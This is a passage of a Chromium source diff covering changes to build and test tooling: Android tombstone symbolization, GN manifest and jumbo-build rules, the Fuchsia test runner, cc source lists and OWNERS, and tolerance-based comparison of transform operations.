       as_root=True, check_return=True)
 
 
-def _DeviceAbiToArch(device_abi):
-  # The order of this list is significant to find the more specific match (e.g.,
-  # arm64) before the less specific (e.g., arm).
-  arches = ['arm64', 'arm', 'x86_64', 'x86_64', 'x86', 'mips']
-  for arch in arches:
-    if arch in device_abi:
-      return arch
-  raise RuntimeError('Unknown device ABI: %s' % device_abi)
-
-
-def _ResolveSymbols(tombstone_data, include_stack, device_abi):
-  """Run the stack tool for given tombstone input.
-
-  Args:
-    tombstone_data: a list of strings of tombstone data.
-    include_stack: boolean whether to include stack data in output.
-    device_abi: the default ABI of the device which generated the tombstone.
-
-  Yields:
-    A string for each line of resolved stack output.
-  """
-  # Check if the tombstone data has an ABI listed, if so use this in preference
-  # to the device's default ABI.
-  for line in tombstone_data:
-    found_abi = re.search('ABI: \'(.+?)\'', line)
-    if found_abi:
-      device_abi = found_abi.group(1)
-  arch = _DeviceAbiToArch(device_abi)
-  if not arch:
-    return
-
-  stack_tool = os.path.join(os.path.dirname(__file__), '..', '..',
-                            'third_party', 'android_platform', 'development',
-                            'scripts', 'stack')
-  cmd = [stack_tool, '--arch', arch, '--output-directory',
-         constants.GetOutDirectory()]
-  proc = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
-  output = proc.communicate(input='\n'.join(tombstone_data))[0]
-  for line in output.split('\n'):
-    if not include_stack and 'Stack Data:' in line:
-      break
-    yield line
-
-
-def _ResolveTombstone(tombstone):
+def _ResolveTombstone(args):
+  tombstone = args[0]
+  tombstone_symbolizer = args[1]
   lines = []
   lines += [tombstone['file'] + ' created on ' + str(tombstone['time']) +
             ', about this long ago: ' +
@@ -148,26 +106,31 @@
             ' Device: ' + tombstone['serial'])]
   logging.info('\n'.join(lines))
   logging.info('Resolving...')
-  lines += _ResolveSymbols(tombstone['data'], tombstone['stack'],
-                           tombstone['device_abi'])
+  lines += tombstone_symbolizer.ExtractAndResolveNativeStackTraces(
+      tombstone['data'],
+      tombstone['device_abi'],
+      tombstone['stack'])
   return lines
 
 
-def _ResolveTombstones(jobs, tombstones):
+def _ResolveTombstones(jobs, tombstones, tombstone_symbolizer):
   """Resolve a list of tombstones.
 
   Args:
-    jobs: the number of jobs to use with multiprocess.
+    jobs: the number of jobs to use with multithread.
     tombstones: a list of tombstones.
   """
   if not tombstones:
     logging.warning('No tombstones to resolve.')
     return []
+  tombstone_symbolizer.UnzipAPKIfNecessary()
   if len(tombstones) == 1:
-    data = [_ResolveTombstone(tombstones[0])]
+    data = [_ResolveTombstone([tombstones[0], tombstone_symbolizer])]
   else:
-    pool = multiprocessing.Pool(processes=jobs)
-    data = pool.map(_ResolveTombstone, tombstones)
+    pool = ThreadPool(jobs)
+    data = pool.map(
+        _ResolveTombstone,
+        [[tombstone, tombstone_symbolizer] for tombstone in tombstones])
   resolved_tombstones = []
   for tombstone in data:
     resolved_tombstones.extend(tombstone)
@@ -236,7 +199,9 @@
 
 
 def ResolveTombstones(device, resolve_all_tombstones, include_stack_symbols,
-                      wipe_tombstones, jobs=4):
+                      wipe_tombstones, jobs=4,
+                      apk_under_test=None, enable_relocation_packing=None,
+                      tombstone_symbolizer=None):
   """Resolve tombstones in the device.
 
   Args:
@@ -253,7 +218,11 @@
                             _GetTombstonesForDevice(device,
                                                     resolve_all_tombstones,
                                                     include_stack_symbols,
-                                                    wipe_tombstones))
+                                                    wipe_tombstones),
+                            (tombstone_symbolizer
+                             or stack_symbolizer.Symbolizer(
+                                apk_under_test,
+                                enable_relocation_packing)))
 
 
 def main():
diff --git a/build/config/android/internal_rules.gni b/build/config/android/internal_rules.gni
index 8257d04..976cda1 100644
--- a/build/config/android/internal_rules.gni
+++ b/build/config/android/internal_rules.gni
@@ -316,7 +316,12 @@
         }
       }
     }
-
+    if (defined(invoker.enable_relocation_packing)) {
+      args += [
+        "--enable-relocation-packing",
+        invoker.enable_relocation_packing,
+      ]
+    }
     if (defined(invoker.java_sources_file)) {
       args += [
         "--java-sources-file",
@@ -556,6 +561,10 @@
           _apk_under_test = "@FileArg($_rebased_apk_under_test_build_config:deps_info:incremental_apk_path)"
         }
         test_runner_args += [ "--apk-under-test=$_apk_under_test" ]
+        test_runner_args += [
+          "--enable-relocation-packing",
+          "@FileArg($_rebased_apk_under_test_build_config:deps_info:enable_relocation_packing)",
+        ]
       }
       if (emma_coverage) {
         # Set a default coverage output directory (can be overridden by user
diff --git a/build/config/android/rules.gni b/build/config/android/rules.gni
index 61f39a7..50a9a1c4 100644
--- a/build/config/android/rules.gni
+++ b/build/config/android/rules.gni
@@ -1843,6 +1843,11 @@
       if (_proguard_enabled) {
         proguard_info = "$_proguard_output_jar_path.info"
       }
+      if (_enable_relocation_packing) {
+        enable_relocation_packing = "1"
+      } else {
+        enable_relocation_packing = "0"
+      }
 
       # Don't depend on the runtime_deps target in order to avoid having to
       # build the native libraries just to create the .build_config file.
diff --git a/build/config/jumbo.gni b/build/config/jumbo.gni
index a3f374e..90e8f52 100644
--- a/build/config/jumbo.gni
+++ b/build/config/jumbo.gni
@@ -18,11 +18,11 @@
   # numbers also give longer single-file recompilation times.
   #
   # Recommendations:
-  # Higher numbers than 200 does not reduce wall clock compile times
-  # for 4 cores or less.
-  # 200 uses 8% less total CPU than 100 when compiling content and 10%
+  # Higher numbers than 100 does not reduce wall clock compile times
+  # even for 4 cores or less so no reason to go (much) higher than 100.
+  # 100 uses 8% less total CPU than 50 when compiling content and 10%
   # less wall clock when compiling with 4 cores.
-  jumbo_file_merge_limit = 200
+  jumbo_file_merge_limit = 100
 }
 
 # Use one of the targets jumbo_source_set, jumbo_static_library,
@@ -92,20 +92,31 @@
     jumbo_files = []
 
     # Split the sources list into chunks that are not excessively large
-    files_per_chunk = jumbo_file_merge_limit
     current_file_index = 0
     next_chunk_start = 0
     next_chunk_number = 1
     foreach(source_file, invoker.sources) {
-      if (current_file_index == next_chunk_start) {
-        jumbo_files += [ "$gen_target_dir/" + target_name + "_jumbo_" +
-                         next_chunk_number + ".cc" ]
-        next_chunk_number += 1
-        next_chunk_start += files_per_chunk
+      if (get_path_info(source_file, "extension") != "h") {
+        if (current_file_index == next_chunk_start) {
+          jumbo_files += [ "$gen_target_dir/" + target_name + "_jumbo_" +
+                           next_chunk_number + ".cc" ]
+          next_chunk_number += 1
+          next_chunk_start += jumbo_file_merge_limit
+        }
+        current_file_index += 1
       }
-      current_file_index += 1
     }
 
+    if (jumbo_files == []) {
+      # Empty sources list or a sources list with only header files.
+      use_jumbo_build_for_target = false
+      assert(current_file_index == 0)  # Prevent "unused variable"
+      assert(next_chunk_start == 0)  # Prevent "unused variable"
+      assert(next_chunk_number == 1)  # Prevent "unused variable"
+    }
+  }
+
+  if (use_jumbo_build_for_target) {
     has_objective_c_file = false
     has_c_file = false
     foreach(source_file, invoker.sources) {
diff --git a/build/config/win/manifest.gni b/build/config/win/manifest.gni
index 515764c5..0d5c70f 100644
--- a/build/config/win/manifest.gni
+++ b/build/config/win/manifest.gni
@@ -5,18 +5,13 @@
 # HOW MANIFESTS WORK IN THE GN BUILD
 #
 # Use the windows_manifest template to declare a manifest generation step.
-# This will combine all listed .manifest files and generate a resource file
-# referencing the resulting manifest. To link this manifest, just depend on
-# the manifest target from your executable or shared library.
+# This will combine all listed .manifest files. To link this manifest, just
+# depend on the manifest target from your executable or shared library.
 #
 # This will define an empty placeholder target on non-Windows platforms so
 # the manifest declarations and dependencies do not need to be inside of OS
 # conditionals.
 #
-# Manifests uses different resource IDs for EXE and DLL targets. You will need
-# to specify this in the manifest target declaration and only use that manifest
-# target from the correct type of binary target.
-#
 # A binary can depend on only one manifest target, but the manifest target
 # can depend on many individual .manifest files which will be merged. As a
 # result, only executables and shared libraries should depend on manifest
@@ -53,10 +48,6 @@
 #   sources: (required)
 #     List of source .manifest files to add.
 #
-#   type: "dll" or "exe" (required)
-#     Indicates the type of target that this manifest will be used for.
-#     DLLs and EXEs have different manifest resource IDs.
-#
 #   deps: (optional)
 #   visibility: (optional)
 #     Normal meaning.
@@ -68,7 +59,6 @@
 #       "doom_melon.manifest",   # Custom values in here.
 #       default_compatibility_manifest,  # Want the normal OS compat list.
 #     ]
-#     type = "exe"
 #   }
 #
 #   executable("doom_melon") {
@@ -85,18 +75,14 @@
 
   template("windows_manifest") {
     manifest_action_name = "${target_name}__gen_manifest"
-    rc_action_name = "${target_name}__gen_rc"
+    config_name = "${target_name}__config"
     source_set_name = target_name
 
     output_manifest = "$target_gen_dir/$source_set_name.manifest"
-    rcfile = "$output_manifest.rc"
 
     # Make the final .manifest file.
     action(manifest_action_name) {
-      visibility = [
-        ":$source_set_name",
-        ":$rc_action_name",
-      ]
+      visibility = [ ":$source_set_name" ]
 
       script = "//build/toolchain/win/tool_wrapper.py"
 
@@ -123,57 +109,25 @@
       forward_variables_from(invoker, [ "deps" ])
     }
 
-    # Make the .rc file that references the final manifest file.
-    #
-    # This could easily be combined into one step, but this current separation
-    # of .manifest and .rc matches GYP and allows us to re-use tool_wrapper.py.
-    action(rc_action_name) {
+    config(config_name) {
       visibility = [ ":$source_set_name" ]
+      ldflags = [
+        "/manifest:embed",
+        "/manifestinput:" + rebase_path(output_manifest, root_build_dir),
 
-      script = "//build/toolchain/win/tool_wrapper.py"
-
-      outputs = [
-        rcfile,
-      ]
-
-      # EXEs have a resource ID of 1 for their manifest, DLLs use 2.
-      assert(defined(invoker.type),
-             "\"type\" must be defined for a windows_manifest")
-      if (invoker.type == "exe") {
-        manifest_resource_id = "1"
-      } else if (invoker.type == "dll") {
-        manifest_resource_id = "2"
-      } else {
-        assert(false, "Bad value of \"type\", Must be \"exe\" or \"dll\"")
-      }
-
-      args = [
-        "manifest-to-rc",
-        "$_environment_file",
-        rebase_path(output_manifest),
-        rebase_path(rcfile, root_build_dir),
-        manifest_resource_id,
-      ]
-
-      # Although generating this file doesn't technically depend on the
-      # generated manifest, this dependency causes the .rc timestamp to be
-      # updated every time the manifest is updated. Otherwise, updating the
-      # manifest will not cause a recompilation of the .rc file.
-      deps = [
-        ":$manifest_action_name",
+        # We handle UAC by adding explicit .manifest files instead.
+        "/manifestuac:no",
       ]
     }
 
-    # This source set only exists to compile and link the resource file.
+    # This source set only exists to add a dep on manifest_action_name and to
+    # add a public_config that sets ldflags on dependents.
     source_set(source_set_name) {
       forward_variables_from(invoker, [ "visibility" ])
-      sources = [
-        rcfile,
-      ]
       deps = [
         ":$manifest_action_name",
-        ":$rc_action_name",
       ]
+      public_configs = [ ":$config_name" ]
     }
   }
 } else {
@@ -182,7 +136,6 @@
   template("windows_manifest") {
     group(target_name) {
       # Prevent unused variable warnings on non-Windows platforms.
-      assert(invoker.type == "exe" || invoker.type == "dll")
       assert(invoker.sources != "")
       assert(!defined(invoker.deps) || invoker.deps != "")
       assert(!defined(invoker.visibility) || invoker.visibility != "")
diff --git a/build/fuchsia/test_runner.py b/build/fuchsia/test_runner.py
index 00c9216..8408db2fe 100755
--- a/build/fuchsia/test_runner.py
+++ b/build/fuchsia/test_runner.py
@@ -4,9 +4,9 @@
 # Use of this source code is governed by a BSD-style license that can be
 # found in the LICENSE file.
 
-"""Packages a user.bootfs for a Fuchsia QEMU image, pulling in the runtime
-dependencies of a test binary, and then uses QEMU from the Fuchsia SDK to run
-it. Does not yet implement running on real hardware."""
+"""Packages a user.bootfs for a Fuchsia boot image, pulling in the runtime
+dependencies of a test binary, and then uses either QEMU from the Fuchsia SDK
+to run, or starts the bootserver to allow running on a hardware device."""
 
 import argparse
 import multiprocessing
@@ -104,7 +104,7 @@
 
 
 def BuildBootfs(output_directory, runtime_deps_path, test_name, child_args,
-                test_launcher_filter_file, dry_run):
+                test_launcher_filter_file, device, dry_run):
   with open(runtime_deps_path) as f:
     lines = f.readlines()
 
@@ -150,10 +150,13 @@
     autorun_file.write(' "%s"' % arg);
 
   autorun_file.write('\n')
-  # If shutdown happens too soon after the test completion, log statements from
-  # the end of the run will be lost, so sleep for a bit before shutting down.
-  autorun_file.write('msleep 3000\n')
-  autorun_file.write('dm poweroff\n')
+  if not device:
+    # If shutdown of QEMU happens too soon after the test completion, log
+    # statements from the end of the run will be lost, so sleep for a bit before
+    # shutting down. When running on device don't power off so the output and
+    # system can be inspected.
+    autorun_file.write('msleep 3000\n')
+    autorun_file.write('dm poweroff\n')
   autorun_file.flush()
   os.chmod(autorun_file.name, 0750)
   DumpFile(dry_run, autorun_file.name, 'autorun')
@@ -251,6 +254,8 @@
                       help='Currently ignored for 2-sided roll.')
   parser.add_argument('child_args', nargs='*',
                       help='Arguments for the test process.')
+  parser.add_argument('-d', '--device', action='store_true', default=False,
+                      help='Run on hardware device instead of QEMU.')
   args = parser.parse_args()
 
   child_args = ['--test-launcher-retry-limit=0']
@@ -279,76 +284,86 @@
 
   bootfs = BuildBootfs(args.output_directory, args.runtime_deps_path,
                        args.test_name, child_args,
-                       args.test_launcher_filter_file, args.dry_run)
+                       args.test_launcher_filter_file, args.device,
+                       args.dry_run)
 
-  qemu_path = os.path.join(SDK_ROOT, 'qemu', 'bin', 'qemu-system-x86_64')
+  kernel_path = os.path.join(SDK_ROOT, 'kernel', 'magenta.bin')
 
-  qemu_command = [qemu_path,
-       '-m', '2048',
-       '-nographic',
-       '-net', 'none',
-       '-smp', '4',
-       '-machine', 'q35',
-       '-kernel', os.path.join(SDK_ROOT, 'kernel', 'magenta.bin'),
-       '-initrd', bootfs,
-
-       # Use stdio for the guest OS only; don't attach the QEMU interactive
-       # monitor.
-       '-serial', 'stdio',
-       '-monitor', 'none',
-
-       # TERM=dumb tells the guest OS to not emit ANSI commands that trigger
-       # noisy ANSI spew from the user's terminal emulator.
-       '-append', 'TERM=dumb kernel.halt_on_panic=true']
-  if int(os.environ.get('CHROME_HEADLESS', 0)) == 0:
-    qemu_command += ['-enable-kvm', '-cpu', 'host,migratable=no']
+  if args.device:
+    # TODO(fuchsia): This doesn't capture stdout as there's no way to do so
+    # currently. See https://crbug.com/749242.
+    bootserver_path = os.path.join(SDK_ROOT, 'tools', 'bootserver')
+    bootserver_command = [bootserver_path, '-1', kernel_path, bootfs]
+    RunAndCheck(args.dry_run, bootserver_command)
   else:
-    qemu_command += ['-cpu', 'Haswell,+smap,-check']
+    qemu_path = os.path.join(SDK_ROOT, 'qemu', 'bin', 'qemu-system-x86_64')
 
-  if args.dry_run:
-    print 'Run:', qemu_command
-  else:
-    prefix = r'^.*> '
-    bt_with_offset_re = re.compile(prefix +
-        'bt#(\d+): pc 0x[0-9a-f]+ sp (0x[0-9a-f]+) \((\S+),(0x[0-9a-f]+)\)$')
-    bt_end_re = re.compile(prefix + 'bt#(\d+): end')
+    qemu_command = [qemu_path,
+        '-m', '2048',
+        '-nographic',
+        '-net', 'none',
+        '-smp', '4',
+        '-machine', 'q35',
+        '-kernel', kernel_path,
+        '-initrd', bootfs,
 
-    # We pass a separate stdin stream to qemu. Sharing stdin across processes
-    # leads to flakiness due to the OS prematurely killing the stream and the
-    # Python script panicking and aborting.
-    # The precise root cause is still nebulous, but this fix works.
-    # See crbug.com/741194 .
-    qemu_popen = subprocess.Popen(
-        qemu_command, stdout=subprocess.PIPE, stdin=open(os.devnull))
+        # Use stdio for the guest OS only; don't attach the QEMU interactive
+        # monitor.
+        '-serial', 'stdio',
+        '-monitor', 'none',
 
-    # A buffer of backtrace entries awaiting symbolization, stored as tuples.
-    # Element #0: backtrace frame number (starting at 0).
-    # Element #1: path to executable code corresponding to the current frame.
-    # Element #2: memory offset within the executable.
-    bt_entries = []
+        # TERM=dumb tells the guest OS to not emit ANSI commands that trigger
+        # noisy ANSI spew from the user's terminal emulator.
+        '-append', 'TERM=dumb kernel.halt_on_panic=true']
+    if int(os.environ.get('CHROME_HEADLESS', 0)) == 0:
+      qemu_command += ['-enable-kvm', '-cpu', 'host,migratable=no']
+    else:
+      qemu_command += ['-cpu', 'Haswell,+smap,-check']
 
-    success = False
-    while True:
-      line = qemu_popen.stdout.readline()
-      if not line:
-        break
-      print line,
-      if 'SUCCESS: all tests passed.' in line:
-        success = True
-      if bt_end_re.match(line.strip()):
-        if bt_entries:
-          print '----- start symbolized stack'
-          for processed in ParallelSymbolizeBacktrace(bt_entries):
-            print processed
-          print '----- end symbolized stack'
-        bt_entries = []
-      else:
-        m = bt_with_offset_re.match(line.strip())
-        if m:
-          bt_entries.append((m.group(1), args.test_name, m.group(4)))
-    qemu_popen.wait()
+    if args.dry_run:
+      print 'Run:', qemu_command
+    else:
+      prefix = r'^.*> '
+      bt_with_offset_re = re.compile(prefix +
+          'bt#(\d+): pc 0x[0-9a-f]+ sp (0x[0-9a-f]+) \((\S+),(0x[0-9a-f]+)\)$')
+      bt_end_re = re.compile(prefix + 'bt#(\d+): end')
 
-    return 0 if success else 1
+      # We pass a separate stdin stream to qemu. Sharing stdin across processes
+      # leads to flakiness due to the OS prematurely killing the stream and the
+      # Python script panicking and aborting.
+      # The precise root cause is still nebulous, but this fix works.
+      # See crbug.com/741194 .
+      qemu_popen = subprocess.Popen(
+          qemu_command, stdout=subprocess.PIPE, stdin=open(os.devnull))
+
+      # A buffer of backtrace entries awaiting symbolization, stored as tuples.
+      # Element #0: backtrace frame number (starting at 0).
+      # Element #1: path to executable code corresponding to the current frame.
+      # Element #2: memory offset within the executable.
+      bt_entries = []
+
+      success = False
+      while True:
+        line = qemu_popen.stdout.readline()
+        if not line:
+          break
+        print line,
+        if 'SUCCESS: all tests passed.' in line:
+          success = True
+        if bt_end_re.match(line.strip()):
+          if bt_entries:
+            print '----- start symbolized stack'
+            for processed in ParallelSymbolizeBacktrace(bt_entries):
+              print processed
+            print '----- end symbolized stack'
+          bt_entries = []
+        else:
+          m = bt_with_offset_re.match(line.strip())
+          if m:
+            bt_entries.append((m.group(1), args.test_name, m.group(4)))
+      qemu_popen.wait()
+
+      return 0 if success else 1
 
   return 0
 
diff --git a/build/toolchain/win/tool_wrapper.py b/build/toolchain/win/tool_wrapper.py
index 3a81368f34..1ea871b 100644
--- a/build/toolchain/win/tool_wrapper.py
+++ b/build/toolchain/win/tool_wrapper.py
@@ -142,82 +142,6 @@
         print line,
     return link.wait()
 
-  def ExecLinkWithManifests(self, arch, embed_manifest, out, ldcmd, resname,
-                            mt, rc, intermediate_manifest, *manifests):
-    """A wrapper for handling creating a manifest resource and then executing
-    a link command."""
-    # The 'normal' way to do manifests is to have link generate a manifest
-    # based on gathering dependencies from the object files, then merge that
-    # manifest with other manifests supplied as sources, convert the merged
-    # manifest to a resource, and then *relink*, including the compiled
-    # version of the manifest resource. This breaks incremental linking, and
-    # is generally overly complicated. Instead, we merge all the manifests
-    # provided (along with one that includes what would normally be in the
-    # linker-generated one, see msvs_emulation.py), and include that into the
-    # first and only link. We still tell link to generate a manifest, but we
-    # only use that to assert that our simpler process did not miss anything.
-    variables = {
-      'python': sys.executable,
-      'arch': arch,
-      'out': out,
-      'ldcmd': ldcmd,
-      'resname': resname,
-      'mt': mt,
-      'rc': rc,
-      'intermediate_manifest': intermediate_manifest,
-      'manifests': ' '.join(manifests),
-    }
-    add_to_ld = ''
-    if manifests:
-      subprocess.check_call(
-          '%(python)s tool_wrapper.py manifest-wrapper %(arch)s %(mt)s -nologo '
-          '-manifest %(manifests)s -out:%(out)s.manifest' % variables)
-      if embed_manifest == 'True':
-        subprocess.check_call(
-            '%(python)s tool_wrapper.py manifest-to-rc %(arch)s'
-                '%(out)s.manifest %(out)s.manifest.rc %(resname)s' % variables)
-        subprocess.check_call(
-            '%(python)s tool_wrapper.py rc-wrapper %(arch)s %(rc)s '
-            '%(out)s.manifest.rc' % variables)
-        add_to_ld = ' %(out)s.manifest.res' % variables
-    subprocess.check_call(ldcmd + add_to_ld)
-
-    # Run mt.exe on the theoretically complete manifest we generated, merging
-    # it with the one the linker generated to confirm that the linker
-    # generated one does not add anything. This is strictly unnecessary for
-    # correctness, it's only to verify that e.g. /MANIFESTDEPENDENCY was not
-    # used in a #pragma comment.
-    if manifests:
-      # Merge the intermediate one with ours to .assert.manifest, then check
-      # that .assert.manifest is identical to ours.
-      subprocess.check_call(
-          '%(python)s tool_wrapper.py manifest-wrapper %(arch)s %(mt)s -nologo '
-          '-manifest %(out)s.manifest %(intermediate_manifest)s '
-          '-out:%(out)s.assert.manifest' % variables)
-      assert_manifest = '%(out)s.assert.manifest' % variables
-      our_manifest = '%(out)s.manifest' % variables
-      # Load and normalize the manifests. mt.exe sometimes removes whitespace,
-      # and sometimes doesn't unfortunately.
-      with open(our_manifest, 'rb') as our_f:
-        with open(assert_manifest, 'rb') as assert_f:
-          our_data = our_f.read().translate(None, string.whitespace)
-          assert_data = assert_f.read().translate(None, string.whitespace)
-      if our_data != assert_data:
-        os.unlink(out)
-        def dump(filename):
-          sys.stderr.write('%s\n-----\n' % filename)
-          with open(filename, 'rb') as f:
-            sys.stderr.write(f.read() + '\n-----\n')
-        dump(intermediate_manifest)
-        dump(our_manifest)
-        dump(assert_manifest)
-        sys.stderr.write(
-            'Linker generated manifest "%s" added to final manifest "%s" '
-            '(result in "%s"). '
-            'Were /MANIFEST switches used in #pragma statements? ' % (
-              intermediate_manifest, our_manifest, assert_manifest))
-        return 1
-
   def ExecManifestWrapper(self, arch, *args):
     """Run manifest tool with environment set. Strip out undesirable warning
     (some XML blocks are recognized by the OS loader, but not the manifest
@@ -231,16 +155,6 @@
         print line
     return popen.returncode
 
-  def ExecManifestToRc(self, dummy_arch, *args):
-    """Creates a resource file pointing a SxS assembly manifest.
-    |args| is tuple containing path to resource file, path to manifest file
-    and resource name which can be "1" (for executables) or "2" (for DLLs)."""
-    manifest_path, resource_path, resource_name = args
-    with open(resource_path, 'wb') as output:
-      output.write('#include <windows.h>\n%s RT_MANIFEST "%s"' % (
-        resource_name,
-        os.path.abspath(manifest_path).replace('\\', '/')))
-
   def ExecMidlWrapper(self, arch, outdir, tlb, h, dlldata, iid, proxy, idl,
                       *flags):
     """Filter noisy filenames output from MIDL compile step that isn't
diff --git a/build/win/BUILD.gn b/build/win/BUILD.gn
index b0aeee4..81e0e64 100644
--- a/build/win/BUILD.gn
+++ b/build/win/BUILD.gn
@@ -12,7 +12,6 @@
     common_controls_manifest,
     default_compatibility_manifest,
   ]
-  type = "exe"
 }
 
 if (is_win) {
diff --git a/cc/BUILD.gn b/cc/BUILD.gn
index 1e3274f..4418afe 100644
--- a/cc/BUILD.gn
+++ b/cc/BUILD.gn
@@ -146,10 +146,6 @@
     "output/compositor_frame.h",
     "output/compositor_frame_metadata.cc",
     "output/compositor_frame_metadata.h",
-    "output/copy_output_request.cc",
-    "output/copy_output_request.h",
-    "output/copy_output_result.cc",
-    "output/copy_output_result.h",
     "output/dc_layer_overlay.cc",
     "output/dc_layer_overlay.h",
     "output/direct_renderer.cc",
@@ -241,10 +237,10 @@
     "raster/bitmap_raster_buffer_provider.h",
     "raster/gpu_raster_buffer_provider.cc",
     "raster/gpu_raster_buffer_provider.h",
-    "raster/image_hijack_canvas.cc",
-    "raster/image_hijack_canvas.h",
     "raster/one_copy_raster_buffer_provider.cc",
     "raster/one_copy_raster_buffer_provider.h",
+    "raster/playback_image_provider.cc",
+    "raster/playback_image_provider.h",
     "raster/raster_buffer.cc",
     "raster/raster_buffer.h",
     "raster/raster_buffer_provider.cc",
@@ -255,8 +251,6 @@
     "raster/scoped_gpu_raster.h",
     "raster/single_thread_task_graph_runner.cc",
     "raster/single_thread_task_graph_runner.h",
-    "raster/skip_image_canvas.cc",
-    "raster/skip_image_canvas.h",
     "raster/staging_buffer_pool.cc",
     "raster/staging_buffer_pool.h",
     "raster/synchronous_task_graph_runner.cc",
@@ -277,7 +271,6 @@
     "raster/zero_copy_raster_buffer_provider.h",
     "resources/memory_history.cc",
     "resources/memory_history.h",
-    "resources/release_callback.h",
     "resources/resource.h",
     "resources/resource_pool.cc",
     "resources/resource_pool.h",
@@ -289,8 +282,6 @@
     "resources/scoped_resource.h",
     "resources/scoped_ui_resource.cc",
     "resources/scoped_ui_resource.h",
-    "resources/single_release_callback.cc",
-    "resources/single_release_callback.h",
     "resources/single_release_callback_impl.cc",
     "resources/single_release_callback_impl.h",
     "resources/transferable_resource.cc",
@@ -319,8 +310,6 @@
     "scheduler/video_frame_controller.h",
     "tiles/checker_image_tracker.cc",
     "tiles/checker_image_tracker.h",
-    "tiles/decoded_draw_image.cc",
-    "tiles/decoded_draw_image.h",
     "tiles/decoded_image_tracker.cc",
     "tiles/decoded_image_tracker.h",
     "tiles/eviction_tile_priority_queue.cc",
@@ -493,8 +482,6 @@
     "test/animation_test_common.h",
     "test/animation_timelines_test_common.cc",
     "test/animation_timelines_test_common.h",
-    "test/begin_frame_source_test.cc",
-    "test/begin_frame_source_test.h",
     "test/fake_compositor_frame_sink_support_client.cc",
     "test/fake_compositor_frame_sink_support_client.h",
     "test/fake_content_layer_client.cc",
@@ -568,10 +555,7 @@
     "test/layer_tree_test.h",
     "test/mock_compositor_frame_sink_support_client.cc",
     "test/mock_compositor_frame_sink_support_client.h",
-    "test/mock_helper.h",
     "test/mock_occlusion_tracker.h",
-    "test/ordered_simple_task_runner.cc",
-    "test/ordered_simple_task_runner.h",
     "test/ordered_texture_map.cc",
     "test/ordered_texture_map.h",
     "test/pixel_comparator.cc",
@@ -594,6 +578,8 @@
     "test/skia_common.h",
     "test/solid_color_content_layer_client.cc",
     "test/solid_color_content_layer_client.h",
+    "test/stub_decode_cache.cc",
+    "test/stub_decode_cache.h",
     "test/stub_layer_tree_host_client.cc",
     "test/stub_layer_tree_host_client.h",
     "test/stub_layer_tree_host_single_thread_client.cc",
@@ -742,7 +728,7 @@
     "quads/draw_quad_unittest.cc",
     "quads/nine_patch_generator_unittest.cc",
     "quads/render_pass_unittest.cc",
-    "raster/image_hijack_canvas_unittest.cc",
+    "raster/playback_image_provider_unittest.cc",
     "raster/raster_buffer_provider_unittest.cc",
     "raster/raster_source_unittest.cc",
     "raster/scoped_gpu_raster_unittest.cc",
@@ -755,14 +741,10 @@
     "resources/resource_util_unittest.cc",
     "resources/scoped_resource_unittest.cc",
     "resources/video_resource_updater_unittest.cc",
-    "scheduler/begin_frame_source_unittest.cc",
     "scheduler/compositor_timing_history_unittest.cc",
     "scheduler/scheduler_state_machine_unittest.cc",
     "scheduler/scheduler_unittest.cc",
-    "test/begin_frame_source_test_unittest.cc",
     "test/layer_tree_json_parser_unittest.cc",
-    "test/mock_helper_unittest.cc",
-    "test/ordered_simple_task_runner_unittest.cc",
     "test/test_web_graphics_context_3d_unittest.cc",
     "tiles/checker_image_tracker_unittest.cc",
     "tiles/decoded_image_tracker_unittest.cc",
diff --git a/cc/OWNERS b/cc/OWNERS
index 23652bf..db3022e 100644
--- a/cc/OWNERS
+++ b/cc/OWNERS
@@ -38,13 +38,13 @@
 vmpstr@chromium.org
 ericrk@chromium.org
 
-# math / geometry / layer_tree_host_common
-enne@chromium.org
+# math / geometry
+flackr@chromium.org
 vollick@chromium.org
 
 # property trees
 ajuma@chromium.org
-enne@chromium.org
+chrishtr@chromium.org
 vollick@chromium.org
 weiliangc@chromium.org
 
@@ -52,9 +52,6 @@
 vollick@chromium.org
 ajuma@chromium.org
 
-# property trees
-chrishtr@chromium.org
-
 # we miss you
 # jamesr@chromium.org
 # nduca@chromium.org
diff --git a/cc/animation/transform_operation.cc b/cc/animation/transform_operation.cc
index 846f85e..689d359 100644
--- a/cc/animation/transform_operation.cc
+++ b/cc/animation/transform_operation.cc
@@ -14,6 +14,7 @@
 #include "base/logging.h"
 #include "cc/animation/transform_operation.h"
 #include "cc/animation/transform_operations.h"
+#include "cc/base/math_util.h"
 #include "ui/gfx/geometry/box_f.h"
 #include "ui/gfx/geometry/vector3d_f.h"
 #include "ui/gfx/transform_util.h"
@@ -116,38 +117,55 @@
   }
 }
 
-bool TransformOperation::operator==(const TransformOperation& other) const {
+bool TransformOperation::ApproximatelyEqual(const TransformOperation& other,
+                                            SkMScalar tolerance) const {
+  DCHECK_LE(0, tolerance);
   if (type != other.type)
     return false;
   switch (type) {
     case TransformOperation::TRANSFORM_OPERATION_TRANSLATE:
-      return translate.x == other.translate.x &&
-             translate.y == other.translate.y &&
-             translate.z == other.translate.z;
+      return MathUtil::ApproximatelyEqual(translate.x, other.translate.x,
+                                          tolerance) &&
+             MathUtil::ApproximatelyEqual(translate.y, other.translate.y,
+                                          tolerance) &&
+             MathUtil::ApproximatelyEqual(translate.z, other.translate.z,
+                                          tolerance);
     case TransformOperation::TRANSFORM_OPERATION_ROTATE:
-      return rotate.axis.x == other.rotate.axis.x &&
-             rotate.axis.y == other.rotate.axis.y &&
-             rotate.axis.z == other.rotate.axis.z &&
-             rotate.angle == other.rotate.angle;
+      return MathUtil::ApproximatelyEqual(rotate.axis.x, other.rotate.axis.x,
+                                          tolerance) &&
+             MathUtil::ApproximatelyEqual(rotate.axis.y, other.rotate.axis.y,
+                                          tolerance) &&
+             MathUtil::ApproximatelyEqual(rotate.axis.z, other.rotate.axis.z,
+                                          tolerance) &&
+             MathUtil::ApproximatelyEqual(rotate.angle, other.rotate.angle,
+                                          tolerance);
     case TransformOperation::TRANSFORM_OPERATION_SCALE:
-      return scale.x == other.scale.x && scale.y == other.scale.y &&
-             scale.z == other.scale.z;
+      return MathUtil::ApproximatelyEqual(scale.x, other.scale.x, tolerance) &&
+             MathUtil::ApproximatelyEqual(scale.y, other.scale.y, tolerance) &&
+             MathUtil::ApproximatelyEqual(scale.z, other.scale.z, tolerance);
     case TransformOperation::TRANSFORM_OPERATION_SKEW:
-      return skew.x == other.skew.x && skew.y == other.skew.y;
+      return MathUtil::ApproximatelyEqual(skew.x, other.skew.x, tolerance) &&
+             MathUtil::ApproximatelyEqual(skew.y, other.skew.y, tolerance);
